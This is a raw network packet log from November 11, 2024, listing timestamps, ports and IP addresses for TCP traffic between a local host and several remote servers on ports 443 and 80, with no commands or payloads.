Nov 11, 2024 19:52:17.242619038 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.242635012 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.242660999 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.244158030 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.244174957 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.244249105 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.244257927 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.244327068 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.323987007 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.324014902 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.324057102 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.324069023 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.324114084 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.325292110 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.325310946 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.325396061 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.325403929 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.326225996 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.326745987 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.326762915 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.326880932 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.326893091 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.327042103 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.328521013 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.328537941 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.328617096 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.328624010 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.328708887 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.329092979 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.329250097 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.405329943 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.405354023 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.405412912 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.405425072 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.405479908 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.406454086 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.406474113 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.406511068 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.406517982 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.406567097 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.406976938 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.406996012 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.407027006 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.407033920 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.407066107 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.407080889 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.407911062 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.407928944 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.407970905 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.407977104 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.408008099 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.408026934 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.409004927 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.409023046 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.409060001 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.409065962 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.409102917 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.409116030 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.409761906 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.409779072 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.409816980 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.409823895 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.409847021 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.409859896 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.410696030 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.410712957 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.410772085 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.410779953 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.410919905 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.440165997 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.518094063 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.518157005 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.518167973 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.518237114 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.603648901 CET	80	49728	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:17.603755951 CET	49728	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:17.618844032 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.619266033 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.619282007 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.702152967 CET	443	49736	94.245.104.56	192.168.2.5
Nov 11, 2024 19:52:17.763241053 CET	49736	443	192.168.2.5	94.245.104.56
Nov 11, 2024 19:52:17.763283968 CET	443	49736	94.245.104.56	192.168.2.5
Nov 11, 2024 19:52:17.764350891 CET	443	49736	94.245.104.56	192.168.2.5
Nov 11, 2024 19:52:17.764364958 CET	443	49736	94.245.104.56	192.168.2.5
Nov 11, 2024 19:52:17.764403105 CET	49736	443	192.168.2.5	94.245.104.56
Nov 11, 2024 19:52:17.778244019 CET	49736	443	192.168.2.5	94.245.104.56
Nov 11, 2024 19:52:17.778331041 CET	443	49736	94.245.104.56	192.168.2.5
Nov 11, 2024 19:52:17.779016018 CET	49736	443	192.168.2.5	94.245.104.56
Nov 11, 2024 19:52:17.779026031 CET	443	49736	94.245.104.56	192.168.2.5
Nov 11, 2024 19:52:17.980551004 CET	443	49741	94.245.104.56	192.168.2.5
Nov 11, 2024 19:52:17.987324953 CET	443	49736	94.245.104.56	192.168.2.5
Nov 11, 2024 19:52:17.987384081 CET	49736	443	192.168.2.5	94.245.104.56
Nov 11, 2024 19:52:18.102664948 CET	49741	443	192.168.2.5	94.245.104.56
Nov 11, 2024 19:52:18.135886908 CET	49741	443	192.168.2.5	94.245.104.56
Nov 11, 2024 19:52:18.135907888 CET	443	49741	94.245.104.56	192.168.2.5
Nov 11, 2024 19:52:18.137044907 CET	443	49741	94.245.104.56	192.168.2.5
Nov 11, 2024 19:52:18.137058020 CET	443	49741	94.245.104.56	192.168.2.5
Nov 11, 2024 19:52:18.137103081 CET	49741	443	192.168.2.5	94.245.104.56
Nov 11, 2024 19:52:18.144093990 CET	49741	443	192.168.2.5	94.245.104.56
Nov 11, 2024 19:52:18.144160986 CET	443	49741	94.245.104.56	192.168.2.5
Nov 11, 2024 19:52:18.282459021 CET	49749	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.282491922 CET	443	49749	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.282686949 CET	49749	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.283665895 CET	49750	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.283715010 CET	443	49750	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.283771038 CET	49750	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.291811943 CET	49749	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.291832924 CET	443	49749	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.291918993 CET	49750	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.291946888 CET	443	49750	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.292897940 CET	49752	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.292917967 CET	443	49752	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.292979002 CET	49752	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.293171883 CET	49752	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.293181896 CET	443	49752	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.294147015 CET	49753	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.294163942 CET	443	49753	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.294222116 CET	49753	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.294555902 CET	49753	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.294565916 CET	443	49753	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.296542883 CET	49754	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.296550989 CET	443	49754	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.296633959 CET	49754	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.298407078 CET	49741	443	192.168.2.5	94.245.104.56
Nov 11, 2024 19:52:18.298424006 CET	443	49741	94.245.104.56	192.168.2.5
Nov 11, 2024 19:52:18.307013035 CET	49754	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.307024956 CET	443	49754	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.307265043 CET	49728	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:18.307451963 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:18.312386990 CET	80	49728	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:18.312400103 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:18.312571049 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:18.313956976 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:18.314220905 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:18.318892956 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:18.319015980 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:18.319025993 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:18.319031000 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:18.402566910 CET	49741	443	192.168.2.5	94.245.104.56
Nov 11, 2024 19:52:18.566577911 CET	49756	443	192.168.2.5	52.149.20.212
Nov 11, 2024 19:52:18.566615105 CET	443	49756	52.149.20.212	192.168.2.5
Nov 11, 2024 19:52:18.566682100 CET	49756	443	192.168.2.5	52.149.20.212
Nov 11, 2024 19:52:18.590260029 CET	49756	443	192.168.2.5	52.149.20.212
Nov 11, 2024 19:52:18.590285063 CET	443	49756	52.149.20.212	192.168.2.5
Nov 11, 2024 19:52:18.671459913 CET	443	49736	94.245.104.56	192.168.2.5
Nov 11, 2024 19:52:18.740828037 CET	443	49736	94.245.104.56	192.168.2.5
Nov 11, 2024 19:52:18.740883112 CET	49736	443	192.168.2.5	94.245.104.56
Nov 11, 2024 19:52:18.777484894 CET	49736	443	192.168.2.5	94.245.104.56
Nov 11, 2024 19:52:18.777512074 CET	443	49736	94.245.104.56	192.168.2.5
Nov 11, 2024 19:52:18.777525902 CET	49736	443	192.168.2.5	94.245.104.56
Nov 11, 2024 19:52:18.777553082 CET	49736	443	192.168.2.5	94.245.104.56
Nov 11, 2024 19:52:18.815403938 CET	443	49749	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.815454960 CET	443	49750	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.817280054 CET	49749	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.817301989 CET	443	49749	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.817821026 CET	49749	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.817826033 CET	443	49749	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.818304062 CET	49750	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.818336010 CET	443	49750	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.818696976 CET	49750	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.818702936 CET	443	49750	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.855151892 CET	49758	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:18.855168104 CET	443	49758	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:18.855226040 CET	49758	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:18.856841087 CET	49758	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:18.856853962 CET	443	49758	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:18.865840912 CET	443	49752	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.866225004 CET	443	49754	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.867285013 CET	49752	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.867324114 CET	443	49752	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.868066072 CET	49752	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.868072033 CET	443	49752	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.868128061 CET	443	49753	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.868355036 CET	49754	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.868369102 CET	443	49754	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.868747950 CET	49754	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.868752956 CET	443	49754	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.868835926 CET	49753	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.868851900 CET	443	49753	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.869160891 CET	49753	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.869174957 CET	443	49753	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.908080101 CET	443	49750	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.908103943 CET	443	49750	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.908181906 CET	49750	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.908220053 CET	443	49750	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.908266068 CET	49750	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.908277988 CET	443	49750	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.908289909 CET	443	49750	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.908333063 CET	49750	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.908551931 CET	443	49749	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.908793926 CET	443	49749	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.908850908 CET	49749	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.940642118 CET	49750	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.940643072 CET	49750	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.940696001 CET	443	49750	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.940711021 CET	443	49750	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.958569050 CET	443	49752	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.958657980 CET	443	49752	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.958707094 CET	49752	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.959037066 CET	49749	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.959075928 CET	443	49749	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.959096909 CET	49749	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.959105015 CET	443	49749	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.959120035 CET	443	49754	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.959145069 CET	443	49754	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.959192038 CET	49754	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.959201097 CET	443	49754	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.959237099 CET	49754	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.959242105 CET	443	49754	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.959263086 CET	443	49754	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.959304094 CET	49754	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.961329937 CET	443	49753	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.961353064 CET	443	49753	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.961396933 CET	443	49753	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.961421967 CET	49753	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.961433887 CET	49753	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.961623907 CET	49753	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.961623907 CET	49753	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.961639881 CET	443	49753	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.961649895 CET	443	49753	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.963337898 CET	49752	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.963351011 CET	443	49752	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.963361025 CET	49752	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.963366985 CET	443	49752	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.965219975 CET	49754	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.965225935 CET	443	49754	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.965235949 CET	49754	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.965239048 CET	443	49754	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.982186079 CET	49759	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.982218981 CET	443	49759	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:18.982291937 CET	49759	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.988183975 CET	49759	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:18.988194942 CET	443	49759	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.025693893 CET	49765	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.025702953 CET	443	49765	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.025759935 CET	49765	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.045345068 CET	49770	443	192.168.2.5	18.65.39.28
Nov 11, 2024 19:52:19.045361996 CET	443	49770	18.65.39.28	192.168.2.5
Nov 11, 2024 19:52:19.045425892 CET	49770	443	192.168.2.5	18.65.39.28
Nov 11, 2024 19:52:19.046346903 CET	49770	443	192.168.2.5	18.65.39.28
Nov 11, 2024 19:52:19.046356916 CET	443	49770	18.65.39.28	192.168.2.5
Nov 11, 2024 19:52:19.049087048 CET	49773	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.049094915 CET	443	49773	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.049151897 CET	49773	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.061836004 CET	49765	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.061850071 CET	443	49765	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.063735008 CET	49774	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.063766003 CET	443	49774	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.063824892 CET	49774	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.063962936 CET	49774	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.063968897 CET	443	49774	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.064273119 CET	49773	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.064281940 CET	443	49773	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.067451954 CET	49775	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.067460060 CET	443	49775	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.067523956 CET	49775	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.067775965 CET	49775	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.067784071 CET	443	49775	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.334069967 CET	443	49756	52.149.20.212	192.168.2.5
Nov 11, 2024 19:52:19.334144115 CET	49756	443	192.168.2.5	52.149.20.212
Nov 11, 2024 19:52:19.342454910 CET	49756	443	192.168.2.5	52.149.20.212
Nov 11, 2024 19:52:19.342463970 CET	443	49756	52.149.20.212	192.168.2.5
Nov 11, 2024 19:52:19.342756987 CET	443	49756	52.149.20.212	192.168.2.5
Nov 11, 2024 19:52:19.508625031 CET	49756	443	192.168.2.5	52.149.20.212
Nov 11, 2024 19:52:19.526289940 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:19.526418924 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:19.530153990 CET	443	49759	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.532645941 CET	49759	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.532658100 CET	443	49759	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.533070087 CET	49759	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.533075094 CET	443	49759	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.594077110 CET	443	49758	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:19.594216108 CET	49758	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:19.611689091 CET	443	49765	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.611921072 CET	443	49773	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.612298012 CET	443	49774	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.623425961 CET	443	49759	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.623482943 CET	443	49759	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.623543024 CET	49759	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.625880003 CET	443	49775	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.627053976 CET	443	49770	18.65.39.28	192.168.2.5
Nov 11, 2024 19:52:19.627613068 CET	49770	443	192.168.2.5	18.65.39.28
Nov 11, 2024 19:52:19.627620935 CET	443	49770	18.65.39.28	192.168.2.5
Nov 11, 2024 19:52:19.628578901 CET	443	49770	18.65.39.28	192.168.2.5
Nov 11, 2024 19:52:19.628712893 CET	49770	443	192.168.2.5	18.65.39.28
Nov 11, 2024 19:52:19.629173040 CET	49775	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.629173040 CET	49775	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.629185915 CET	443	49775	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.629194021 CET	443	49775	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.629718065 CET	49765	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.629733086 CET	443	49765	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.633038998 CET	49765	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.633040905 CET	49759	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.633044004 CET	443	49765	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.633054018 CET	443	49759	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.634979963 CET	49773	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.634979963 CET	49773	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.634990931 CET	443	49773	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.634998083 CET	443	49773	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.635335922 CET	49774	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.635356903 CET	443	49774	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.638233900 CET	49774	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.638241053 CET	443	49774	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.644745111 CET	49770	443	192.168.2.5	18.65.39.28
Nov 11, 2024 19:52:19.644855976 CET	443	49770	18.65.39.28	192.168.2.5
Nov 11, 2024 19:52:19.677331924 CET	49778	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.677378893 CET	443	49778	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.678081989 CET	49778	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.682209015 CET	49778	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.682220936 CET	443	49778	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.721468925 CET	443	49765	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.721532106 CET	443	49765	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.721609116 CET	49765	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.723725080 CET	443	49773	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.723798037 CET	443	49773	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.724405050 CET	49773	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.724628925 CET	49765	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.724642038 CET	443	49765	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.724677086 CET	49765	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.724684954 CET	443	49765	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.724977970 CET	443	49775	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.725634098 CET	443	49775	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.725696087 CET	49775	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.726283073 CET	443	49774	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.726492882 CET	443	49774	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.726562977 CET	49774	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.728971958 CET	49773	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.728986979 CET	443	49773	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.729037046 CET	49773	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.729049921 CET	443	49773	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.731200933 CET	49774	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.731200933 CET	49774	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.731218100 CET	443	49774	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.731223106 CET	443	49774	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.732464075 CET	49775	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.732470036 CET	443	49775	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.732538939 CET	49775	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.732543945 CET	443	49775	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.734446049 CET	49780	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.734467030 CET	443	49780	13.107.246.45	192.168.2.5
